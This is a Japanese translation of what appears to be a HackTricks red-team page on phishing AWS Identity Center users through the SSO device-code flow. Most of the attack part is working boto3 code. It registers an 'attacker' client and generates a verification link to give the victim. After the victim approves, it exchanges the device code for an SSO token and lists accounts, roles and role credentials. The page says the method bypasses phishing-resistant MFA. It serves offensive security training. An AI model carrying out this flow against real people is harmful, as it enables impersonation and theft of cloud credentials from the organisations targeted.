ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) ! AWSデバイスコードフィッシング
最初にこのブログ投稿 で提案されたように、AWS SSOを使用してユーザーにリンクを送信 することで、ユーザーが承認する と、攻撃者はユーザーをなりすましてアクセス し、Identity Center でユーザーがアクセスできるすべてのロールにアクセスできるトークンを取得できます。
この攻撃を実行するために必要なものは次のとおりです:
犠牲者はIdentity Center を使用する必要があります
攻撃者は、被害者が使用しているサブドメイン <victimsub>.awsapps.com/start
を知っている必要があります
前述の情報だけで、攻撃者はユーザーにリンクを送信 することができ、承認されると 、攻撃者はAWSユーザーアカウントにアクセス できます。
攻撃
攻撃者の最初のステップは、被害者企業がIdentity Centerで使用しているサブドメインを見つけることです。これは、OSINT または推測+BF を使用して行うことができます。ほとんどの企業はここで自社名またはそのバリエーションを使用しているためです。
この情報を使用すると、Indentity Centerが構成された地域を取得できます:
コピー curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region" : "us-east-1
以下のコードを実行して、被害者が認証できるAWS SSOログインリンクを生成します。
デモ用に、このコードをPythonコンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるため、コンソールを終了しないでください:
コピー import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3 . client ( 'sso-oidc' , region_name = REGION)
client = sso_oidc . register_client (
clientName = 'attacker' ,
clientType = 'public'
)
client_id = client . get ( 'clientId' )
client_secret = client . get ( 'clientSecret' )
authz = sso_oidc . start_device_authorization (
clientId = client_id,
clientSecret = client_secret,
startUrl = AWS_SSO_START_URL
)
url = authz . get ( 'verificationUriComplete' )
deviceCode = authz . get ( 'deviceCode' )
print ( "Give this URL to the victim: " + url)
被害者がすでにAWSにログインしている 場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、ログインしてから権限を付与する必要があります 。
これが現在のプロンプトの見た目です:
被害者がプロンプトを受け入れた場合、次のコードを実行してユーザーをなりすましてSSOトークンを生成 します:
コピー token_response = sso_oidc . create_token (
clientId = client_id,
clientSecret = client_secret,
grantType = "urn:ietf:params:oauth:grant-type:device_code" ,
deviceCode = deviceCode
)
sso_token = token_response . get ( 'accessToken' )
SSOアクセストークンは8時間有効 です。
コピー sso_client = boto3 . client ( 'sso' , region_name = REGION)
# List accounts where the user has access
aws_accounts_response = sso_client . list_accounts (
accessToken = sso_token,
maxResults = 100
)
aws_accounts_response . get ( 'accountList' , [])
# Get roles inside an account
roles_response = sso_client . list_account_roles (
accessToken = sso_token,
accountId =< account_id >
)
roles_response . get ( 'roleList' , [])
# Get credentials over a role
sts_creds = sso_client . get_role_credentials (
accessToken = sso_token,
roleName =< role_name > ,
accountId =< account_id >
)
sts_creds . get ( 'roleCredentials' )
Phishing the unphisable MFA
前の攻撃が「unphisable MFA」(webAuth)を使用していても機能することを知るのは楽しいです。これは、前のワークフローが使用されたOAuthドメインを離れることがない ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを置き換える必要がある場合には、デバイスコードワークフローが準備されているため、コードがデバイスによって知られており、ユーザーは異なるマシンでもログインできます 。プロンプトが受け入れられると、デバイスは最初のコードを知っているだけで ユーザーの資格情報を取得 できるようになります。
これについての詳細はこの投稿をチェックしてください 。
Automatic Tools
References
htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちらをチェック! !